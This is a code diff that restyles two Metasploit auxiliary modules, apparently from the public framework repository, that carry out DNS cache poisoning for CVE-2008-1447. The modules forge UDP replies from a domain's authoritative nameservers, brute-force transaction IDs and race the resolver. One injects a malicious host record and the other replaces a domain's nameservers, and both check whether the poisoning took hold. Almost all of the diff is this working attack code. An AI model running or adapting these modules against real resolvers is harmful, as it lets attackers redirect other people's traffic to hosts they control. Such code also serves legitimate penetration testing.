'Stability' => [SERVICE_RESOURCE_LOSS],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
@@ -48,24 +55,25 @@ class MetasploitModule < Msf::Auxiliary
OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]),
OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),
OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),
OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(20000)+30000]),
])
OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(30000..49999)]),
]
)
deregister_options('FILTER','PCAPFILE')
deregister_options('FILTER', 'PCAPFILE')
end
def auxiliary_commands
return {
"racer" => "Determine the size of the window for the target server"
'racer' => 'Determine the size of the window for the target server'
}
end
def cmd_racer(*args)
targ = args[0] || rhost()
dom = args[1] || "example.com"
targ = args[0] || rhost
dom = args[1] || 'example.com'
if !(targ and targ.length > 0)
print_status("usage: racer [dns-server] [domain]")
if !(targ && !targ.empty?)
print_status('usage: racer [dns-server] [domain]')
return
end
@@ -81,68 +89,65 @@ class MetasploitModule < Msf::Auxiliary
)
random = false
ports = {}
lport = nil
reps = 0
ports = {}
lport = nil
reps = 0
1.upto(30) do |i|
req = Resolv::DNS::Message.new
txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
txt = "spoofprobe-check-#{i}-#{$PROCESS_ID}#{(rand * 1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1
srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom(65535, 1.0)
res, = srv_sock.recvfrom(65535, 1.0)
if res and res.length > 0
if res && !res.empty?
reps += 1
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(':')
res.each_answer do |name, _ttl, data|
next unless (name.to_s == txt) && data.strings.join('') =~ (/^([^\s]+)\s+.*red\.metasploit\.com/m)
vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
t_port = t_port.to_i
if(lport and lport != t_port)
random = true
end
lport = t_port
ports[t_port] ||=0
ports[t_port] +=1
t_addr, t_port = ::Regexp.last_match(1).split(':')
vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
t_port = t_port.to_i
if lport && (lport != t_port)
random = true
end
lport = t_port
ports[t_port] ||= 0
ports[t_port] += 1
end
end
if(i>5 and ports.keys.length == 0)
if (i > 5) && ports.keys.empty?
break
end
end
srv_sock.close
if(ports.keys.length == 0)
vprint_error("ERROR: This server is not replying to recursive requests")
if ports.keys.empty?
vprint_error('ERROR: This server is not replying to recursive requests')
return Exploit::CheckCode::Unknown
end
if(reps < 30)
vprint_warning("WARNING: This server did not reply to all of our requests")
if (reps < 30)
vprint_warning('WARNING: This server did not reply to all of our requests')
end
if(random)
if random
ports_u = ports.keys.length
ports_r = ((ports.keys.length/30.0)*100).to_i
ports_r = ((ports.keys.length / 30.0) * 100).to_i
vprint_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
if(ports_r != 100)
if (ports_r != 100)
vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
# Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
return Exploit::CheckCode::Appears
end
else
vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning")
vprint_error('FAIL: This server uses a static source port and is vulnerable to poisoning')
return Exploit::CheckCode::Vulnerable
end
@@ -151,18 +156,18 @@ class MetasploitModule < Msf::Auxiliary
def run
check_pcaprub_loaded # Check first
target = rhost()
source = Rex::Socket.source_address(target)
saddr = datastore['SRCADDR']
sport = datastore['SRCPORT']
domain = datastore['DOMAIN'] + '.'
newdns = datastore['NEWDNS']
recons = datastore['RECONS']
xids = datastore['XIDS'].to_i
newttl = datastore['TTL'].to_i
xidbase = rand(20001) + 20000
target = rhost
source = Rex::Socket.source_address(target)
saddr = datastore['SRCADDR']
sport = datastore['SRCPORT']
domain = datastore['DOMAIN'] + '.'
newdns = datastore['NEWDNS']
recons = datastore['RECONS']
xids = datastore['XIDS'].to_i
newttl = datastore['TTL'].to_i
xidbase = rand(20000..40000)
numxids = xids
address = Rex::Text.rand_text(4).unpack("C4").join(".")
address = Rex::Text.rand_text(4).unpack('C4').join('.')
srv_sock = Rex::Socket.create_udp(
'PeerHost' => target,
@@ -172,24 +177,24 @@ class MetasploitModule < Msf::Auxiliary
# Get the source port via the metasploit service if it's not set
if sport.to_i == 0
req = Resolv::DNS::Message.new
txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
txt = "spoofprobe-#{$PROCESS_ID}#{(rand * 1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1
srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()
res, = srv_sock.recvfrom
if res and res.length > 0
if res && !res.empty?
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(':')
sport = t_port.to_i
res.each_answer do |name, _ttl, data|
next unless (name.to_s == txt) && data.strings.join('') =~ (/^([^\s]+)\s+.*red\.metasploit\.com/m)
print_status("Switching to target port #{sport} based on Metasploit service")
if target != t_addr
print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
end
t_addr, t_port = ::Regexp.last_match(1).split(':')
sport = t_port.to_i
print_status("Switching to target port #{sport} based on Metasploit service")
if target != t_addr
print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
end
end
end
@@ -201,77 +206,76 @@ class MetasploitModule < Msf::Auxiliary
query.add_question(domain, Resolv::DNS::Resource::IN::NS)
query.rd = 0
begin
loop do
cached = false
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()
answer, = srv_sock.recvfrom
if answer and answer.length > 0
if answer && !answer.empty?
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
next unless ((name.to_s + '.') == domain) && (data.name.to_s == newdns)
if((name.to_s + ".") == domain and data.name.to_s == newdns)
t = Time.now + ttl
print_error("Failure: This domain is already using #{newdns} as a nameserver")
print_error(" Cache entry expires on #{t}")
srv_sock.close
close_pcap
return
end
t = Time.now + ttl
print_error("Failure: This domain is already using #{newdns} as a nameserver")
print_error(" Cache entry expires on #{t}")
srv_sock.close
close_pcap
break
end
end
end until not cached
break if !cached
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
raise $ERROR_INFO
rescue StandardError => e
print_error("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
end
res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
res0 = Net::DNS::Resolver.new(nameservers: [recons], dns_search: false, recursive: true) # reconnaissance resolver
print_status "Targeting nameserver #{target} for injection of #{domain} nameservers as #{newdns}"
# Look up the nameservers for the domain
print_status "Querying recon nameserver for #{domain}'s nameservers..."
answer0 = res0.send(domain, Net::DNS::NS)
#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
# print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
barbs = [] # storage for nameservers
answer0.answer.each do |rr0|
print_status " Got an #{rr0.type} record: #{rr0.inspect}"
if rr0.type == 'NS'
print_status " Querying recon nameserver for address of #{rr0.nsdname}..."
answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
answer1.answer.each do |rr1|
print_status " Got an #{rr1.type} record: #{rr1.inspect}"
res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
answer2 = res2.send(domain, Net::DNS::SOA)
if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
nsrec = {:name => rr0.nsdname, :addr => rr1.address}
barbs << nsrec
print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
end
end
next unless rr0.type == 'NS'
print_status " Querying recon nameserver for address of #{rr0.nsdname}..."
answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
# print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
answer1.answer.each do |rr1|
print_status " Got an #{rr1.type} record: #{rr1.inspect}"
res2 = Net::DNS::Resolver.new(nameservers: rr1.address, dns_search: false, recursive: false, retry: 1)
print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
answer2 = res2.send(domain, Net::DNS::SOA)
next unless answer2 && answer2.header.auth? && (answer2.header.anCount >= 1)
nsrec = { name: rr0.nsdname, addr: rr1.address }
barbs << nsrec
print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
end
end
if barbs.length == 0
print_status( "No DNS servers found.")
if barbs.empty?
print_status('No DNS servers found.')
srv_sock.close
close_pcap
return
end
if(xids == 0)
print_status("Calculating the number of spoofed replies to send per query...")
if (xids == 0)
print_status('Calculating the number of spoofed replies to send per query...')
qcnt = calculate_race(target, domain, 100)
numxids = ((qcnt * 1.5) / barbs.length).to_i
if(numxids == 0)
print_status("The server did not reply, giving up.")
if (numxids == 0)
print_status('The server did not reply, giving up.')
srv_sock.close
close_pcap
return
@@ -283,12 +287,12 @@ class MetasploitModule < Msf::Auxiliary
queries = 0
responses = 0
open_pcap unless self.capture
open_pcap unless capture
print_status( "Attempting to inject poison records for #{domain}'s nameservers into #{target}:#{sport}...")
print_status("Attempting to inject poison records for #{domain}'s nameservers into #{target}:#{sport}...")
while true
randhost = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain # randomize the hostname
loop do
randhost = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain # randomize the hostname
# Send spoofed query
req = Resolv::DNS::Message.new
@@ -299,15 +303,15 @@ class MetasploitModule < Msf::Auxiliary
src_ip = source
if(saddr == 'Random')
src_ip = Rex::Text.rand_text(4).unpack("C4").join(".")
if (saddr == 'Random')
src_ip = Rex::Text.rand_text(4).unpack('C4').join('.')
end
p = PacketFu::UDPPacket.new
p.ip_saddr = src_ip
p.ip_daddr = target
p.ip_ttl = 255
p.udp_sport = (rand((2**16)-1024)+1024).to_i
p.udp_sport = (rand((2**16) - 1024) + 1024).to_i
p.udp_dport = 53
p.payload = req.encode
p.recalc
@@ -326,7 +330,7 @@ class MetasploitModule < Msf::Auxiliary
p.udp_sport = 53
p.udp_dport = sport.to_i
xidbase.upto(xidbase+numxids-1) do |id|
xidbase.upto(xidbase + numxids - 1) do |id|
req.id = id
p.payload = req.encode
barbs.each do |barb|
@@ -340,12 +344,12 @@ class MetasploitModule < Msf::Auxiliary
# status update
if queries % 1000 == 0
print_status("Sent #{queries} queries and #{responses} spoofed responses...")
if(xids == 0)
print_status("Recalculating the number of spoofed replies to send per query...")
if (xids == 0)
print_status('Recalculating the number of spoofed replies to send per query...')
qcnt = calculate_race(target, domain, 25)
numxids = ((qcnt * 1.5) / barbs.length).to_i
if(numxids == 0)
print_status("The server has stopped replying, giving up.")
if (numxids == 0)
print_status('The server has stopped replying, giving up.')
srv_sock.close
close_pcap
return
@@ -355,35 +359,33 @@ class MetasploitModule < Msf::Auxiliary
end
# every so often, check and see if the target is poisoned...
if queries % 250 == 0
begin
query = Resolv::DNS::Message.new
query.add_question(domain, Resolv::DNS::Resource::IN::NS)
query.rd = 0
next unless queries % 250 == 0
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()
begin
query = Resolv::DNS::Message.new
query.add_question(domain, Resolv::DNS::Resource::IN::NS)
query.rd = 0
if answer and answer.length > 0
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") == domain and data.name.to_s == newdns)
print_good("Poisoning successful after #{queries} queries and #{responses} responses: #{domain} == #{newdns}")
srv_sock.close
close_pcap
return
end
end
srv_sock.put(query.encode)
answer, = srv_sock.recvfrom
if answer && !answer.empty?
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, _ttl, data|
next unless ((name.to_s + '.') == domain) && (data.name.to_s == newdns)
print_good("Poisoning successful after #{queries} queries and #{responses} responses: #{domain} == #{newdns}")
srv_sock.close
close_pcap
break
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
end
rescue ::Interrupt
raise $ERROR_INFO
rescue StandardError => e
print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
end
end
end
#
@@ -395,22 +397,18 @@ class MetasploitModule < Msf::Auxiliary
# a few times to account for each nameserver the cache server
# may query for the target domain.
#
def calculate_race(server, domain, num=50)
def calculate_race(server, domain, num = 50)
cnt = 0
q_beg_t = nil
q_end_t = nil
cnt = 0
times = []
times = []
hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain
hostname = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain
sock = Rex::Socket.create_udp(
'PeerHost' => server,
'PeerPort' => 53
)
req = Resolv::DNS::Message.new
req.add_question(hostname, Resolv::DNS::Resource::IN::A)
req.rd = 1
@@ -420,17 +418,17 @@ class MetasploitModule < Msf::Auxiliary
sock.put(req.encode)
req.rd = 0
while(times.length < num)
res, addr = sock.recvfrom(65535, 0.01)
while (times.length < num)
res, = sock.recvfrom(65535, 0.01)
if res and res.length > 0
if res && !res.empty?
res = Resolv::DNS::Message.decode(res)
if(res.id == 1)
if (res.id == 1)
times << [Time.now.to_f - q_beg_t, cnt]
cnt = 0
hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain
hostname = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain
sock.close
sock = Rex::Socket.create_udp(
@@ -456,23 +454,22 @@ class MetasploitModule < Msf::Auxiliary
sock.put(req.encode)
end
min_time = (times.map{|i| i[0]}.min * 100).to_i / 100.0
max_time = (times.map{|i| i[0]}.max * 100).to_i / 100.0
sum = 0
times.each{|i| sum += i[0]}
avg_time = ( (sum / times.length) * 100).to_i / 100.0
min_time = (times.map { |i| i[0] }.min * 100).to_i / 100.0
max_time = (times.map { |i| i[0] }.max * 100).to_i / 100.0
sum = 0
times.each { |i| sum += i[0] }
avg_time = ((sum / times.length) * 100).to_i / 100.0
min_count = times.map{|i| i[1]}.min
max_count = times.map{|i| i[1]}.max
sum = 0
times.each{|i| sum += i[1]}
min_count = times.map { |i| i[1] }.min
max_count = times.map { |i| i[1] }.max
sum = 0
times.each { |i| sum += i[1] }
avg_count = sum / times.length
sock.close
print_status(" race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}")
# XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times)
avg_count
end
+186 -187
View File
@@ -3,6 +3,7 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'English'
require 'net/dns'
require 'resolv'
@@ -10,58 +11,65 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Capture
def initialize(info = {})
super(update_info(info,
'Name' => 'DNS BailiWicked Host Attack',
'Description' => %q{
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single
malicious host entry into the target nameserver by sending random hostname
queries to the target DNS server coupled with spoofed replies to those
queries from the authoritative nameservers for that domain. Eventually, a
guessed ID will match, the spoofed packet will get accepted, and due to the
additional hostname entry being within bailiwick constraints of the original
request the malicious host entry will get cached.
},
'Author' => [ 'I)ruid', 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
super(
update_info(
info,
'Name' => 'DNS BailiWicked Host Attack',
'Description' => %q{
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single
malicious host entry into the target nameserver by sending random hostname
queries to the target DNS server coupled with spoofed replies to those
queries from the authoritative nameservers for that domain. Eventually, a
guessed ID will match, the spoofed packet will get accepted, and due to the
additional hostname entry being within bailiwick constraints of the original
request the malicious host entry will get cached.
},
'Author' => [ 'I)ruid', 'hdm' ],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2008-1447' ],
[ 'OSVDB', '46776'],
[ 'US-CERT-VU', '800113' ],
[ 'URL', 'http://web.archive.org/web/20160606120102/http://www.caughq.org:80/exploits/CAU-EX-2008-0002.txt' ],
],
'DisclosureDate' => '2008-07-21'
))
'DisclosureDate' => '2008-07-21',
'Notes' => {
'Stability' => [SERVICE_RESOURCE_LOSS],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']),
OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),
OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),
OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),
OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(20000)+30000]),
register_options(
[
OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']),
OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),
OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),
OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),
OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(30000..49999)]),
])
deregister_options('FILTER','PCAPFILE')
]
)
deregister_options('FILTER', 'PCAPFILE')
end
def auxiliary_commands
return {
"racer" => "Determine the size of the window for the target server"
'racer' => 'Determine the size of the window for the target server'
}
end
def cmd_racer(*args)
targ = args[0] || rhost()
dom = args[1] || "example.com"
targ = args[0] || rhost
dom = args[1] || 'example.com'
if !(targ and targ.length > 0)
print_status("usage: racer [dns-server] [domain]")
if !(targ && !targ.empty?)
print_status('usage: racer [dns-server] [domain]')
return
end
@@ -77,90 +85,88 @@ class MetasploitModule < Msf::Auxiliary
)
random = false
ports = {}
lport = nil
reps = 0
ports = {}
lport = nil
reps = 0
1.upto(30) do |i|
req = Resolv::DNS::Message.new
txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
txt = "spoofprobe-check-#{i}-#{$PROCESS_ID}#{(rand * 1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1
srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom(65535, 1.0)
res, = srv_sock.recvfrom(65535, 1.0)
if res and res.length > 0
if res && !res.empty?
reps += 1
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(':')
res.each_answer do |name, _ttl, data|
next unless (name.to_s == txt) && data.strings.join('') =~ (/^([^\s]+)\s+.*red\.metasploit\.com/m)
vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
t_port = t_port.to_i
if(lport and lport != t_port)
random = true
end
lport = t_port
ports[t_port] ||=0
ports[t_port] +=1
t_addr, t_port = ::Regexp.last_match(1).split(':')
vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
t_port = t_port.to_i
if lport && (lport != t_port)
random = true
end
lport = t_port
ports[t_port] ||= 0
ports[t_port] += 1
end
end
if(i>5 and ports.keys.length == 0)
if (i > 5) && ports.keys.empty?
break
end
end
srv_sock.close
if(ports.keys.length == 0)
vprint_error("ERROR: This server is not replying to recursive requests")
if ports.keys.empty?
vprint_error('ERROR: This server is not replying to recursive requests')
return Exploit::CheckCode::Unknown
end
if(reps < 30)
vprint_warning("WARNING: This server did not reply to all of our requests")
if (reps < 30)
vprint_warning('WARNING: This server did not reply to all of our requests')
end
if(random)
ports_u = ports.keys.length
ports_r = ((ports.keys.length/30.0)*100).to_i
print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
if(ports_r != 100)
vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
# Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
return Exploit::CheckCode::Appears
end
else
vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning")
unless random
vprint_error('FAIL: This server uses a static source port and is vulnerable to poisoning')
return Exploit::CheckCode::Vulnerable
end
ports_u = ports.keys.length
ports_r = ((ports.keys.length / 30.0) * 100).to_i
print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
if (ports_r != 100)
vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
# Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def run
check_pcaprub_loaded # Check first.
target = rhost()
source = Rex::Socket.source_address(target)
saddr = datastore['SRCADDR']
sport = datastore['SRCPORT']
target = rhost
source = Rex::Socket.source_address(target)
saddr = datastore['SRCADDR']
sport = datastore['SRCPORT']
hostname = datastore['HOSTNAME'] + '.'
address = datastore['NEWADDR']
recons = datastore['RECONS']
xids = datastore['XIDS'].to_i
newttl = datastore['TTL'].to_i
xidbase = rand(20001) + 20000
address = datastore['NEWADDR']
recons = datastore['RECONS']
xids = datastore['XIDS'].to_i
newttl = datastore['TTL'].to_i
xidbase = rand(20000..40000)
numxids = xids
domain = hostname.sub(/\w+\x2e/,"")
domain = hostname.sub(/\w+\x2e/, '')
srv_sock = Rex::Socket.create_udp(
'PeerHost' => target,
@@ -170,24 +176,24 @@ class MetasploitModule < Msf::Auxiliary
# Get the source port via the metasploit service if it's not set
if sport.to_i == 0
req = Resolv::DNS::Message.new
txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
txt = "spoofprobe-#{$PROCESS_ID}#{(rand * 1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1
srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()
res, = srv_sock.recvfrom
if res and res.length > 0
if res && !res.empty?
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(':')
sport = t_port.to_i
res.each_answer do |name, _ttl, data|
next unless (name.to_s == txt) && data.strings.join('') =~ (/^([^\s]+)\s+.*red\.metasploit\.com/m)
print_status("Switching to target port #{sport} based on Metasploit service")
if target != t_addr
print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
end
t_addr, t_port = ::Regexp.last_match(1).split(':')
sport = t_port.to_i
print_status("Switching to target port #{sport} based on Metasploit service")
if target != t_addr
print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
end
end
end
@@ -199,76 +205,75 @@ class MetasploitModule < Msf::Auxiliary
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
query.rd = 0
begin
loop do
cached = false
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()
answer, = srv_sock.recvfrom
if answer and answer.length > 0
if answer && !answer.empty?
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
answer.each_answer do |name, ttl, _data|
next unless ((name.to_s + '.') == hostname)
if((name.to_s + ".") == hostname)
t = Time.now + ttl
print_error("Failure: This hostname is already in the target cache: #{name}")
print_error(" Cache entry expires on #{t}... sleeping.")
cached = true
select(nil,nil,nil,ttl)
end
t = Time.now + ttl
print_error("Failure: This hostname is already in the target cache: #{name}")
print_error(" Cache entry expires on #{t}... sleeping.")
cached = true
select(nil, nil, nil, ttl)
end
end
end until not cached
break if !cached
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
raise $ERROR_INFO
rescue StandardError => e
print_error("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
end
res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
res0 = Net::DNS::Resolver.new(nameservers: [recons], dns_search: false, recursive: true) # reconnaissance resolver
print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"
# Look up the nameservers for the domain
print_status "Querying recon nameserver for #{domain}'s nameservers..."
answer0 = res0.send(domain, Net::DNS::NS)
#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
# print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
barbs = [] # storage for nameservers
answer0.answer.each do |rr0|
print_status " Got an #{rr0.type} record: #{rr0.inspect}"
if rr0.type == 'NS'
print_status " Querying recon nameserver for address of #{rr0.nsdname}..."
answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
answer1.answer.each do |rr1|
print_status " Got an #{rr1.type} record: #{rr1.inspect}"
res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
answer2 = res2.send(domain, Net::DNS::SOA)
if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
nsrec = {:name => rr0.nsdname, :addr => rr1.address}
barbs << nsrec
print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
end
end
next unless rr0.type == 'NS'
print_status " Querying recon nameserver for address of #{rr0.nsdname}..."
answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
# print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
answer1.answer.each do |rr1|
print_status " Got an #{rr1.type} record: #{rr1.inspect}"
res2 = Net::DNS::Resolver.new(nameservers: rr1.address, dns_search: false, recursive: false, retry: 1)
print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
answer2 = res2.send(domain, Net::DNS::SOA)
next unless answer2 && answer2.header.auth? && (answer2.header.anCount >= 1)
nsrec = { name: rr0.nsdname, addr: rr1.address }
barbs << nsrec
print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
end
end
if barbs.length == 0
print_status( "No DNS servers found.")
if barbs.empty?
print_status('No DNS servers found.')
srv_sock.close
close_pcap
return
end
if(xids == 0)
print_status("Calculating the number of spoofed replies to send per query...")
if (xids == 0)
print_status('Calculating the number of spoofed replies to send per query...')
qcnt = calculate_race(target, domain, 100)
numxids = ((qcnt * 1.5) / barbs.length).to_i
if(numxids == 0)
print_status("The server did not reply, giving up.")
if (numxids == 0)
print_status('The server did not reply, giving up.')
srv_sock.close
close_pcap
return
@@ -280,13 +285,12 @@ class MetasploitModule < Msf::Auxiliary
queries = 0
responses = 0
open_pcap unless capture
open_pcap unless self.capture
print_status("Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")
print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")
while true
randhost = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain # randomize the hostname
loop do
randhost = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain # randomize the hostname
# Send spoofed query
req = Resolv::DNS::Message.new
@@ -297,15 +301,15 @@ class MetasploitModule < Msf::Auxiliary
src_ip = source
if(saddr == 'Random')
src_ip = Rex::Text.rand_text(4).unpack("C4").join(".")
if (saddr == 'Random')
src_ip = Rex::Text.rand_text(4).unpack('C4').join('.')
end
p = PacketFu::UDPPacket.new
p.ip_saddr = src_ip
p.ip_daddr = target
p.ip_ttl = 255
p.udp_sport = (rand((2**16)-1024)+1024).to_i
p.udp_sport = (rand((2**16) - 1024) + 1024).to_i
p.udp_dport = 53
p.payload = req.encode
p.recalc
@@ -325,7 +329,7 @@ class MetasploitModule < Msf::Auxiliary
p.udp_sport = 53
p.udp_dport = sport.to_i
xidbase.upto(xidbase+numxids-1) do |id|
xidbase.upto(xidbase + numxids - 1) do |id|
req.id = id
p.payload = req.encode
barbs.each do |barb|
@@ -339,12 +343,12 @@ class MetasploitModule < Msf::Auxiliary
# status update
if queries % 1000 == 0
print_status("Sent #{queries} queries and #{responses} spoofed responses...")
if(xids == 0)
print_status("Recalculating the number of spoofed replies to send per query...")
if (xids == 0)
print_status('Recalculating the number of spoofed replies to send per query...')
qcnt = calculate_race(target, domain, 25)
numxids = ((qcnt * 1.5) / barbs.length).to_i
if(numxids == 0)
print_status("The server has stopped replying, giving up.")
if (numxids == 0)
print_status('The server has stopped replying, giving up.')
srv_sock.close
close_pcap
return
@@ -354,31 +358,31 @@ class MetasploitModule < Msf::Auxiliary
end
# every so often, check and see if the target is poisoned...
if queries % 250 == 0
begin
query = Resolv::DNS::Message.new
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
query.rd = 0
next unless queries % 250 == 0
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()
begin
query = Resolv::DNS::Message.new
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
query.rd = 0
if answer and answer.length > 0
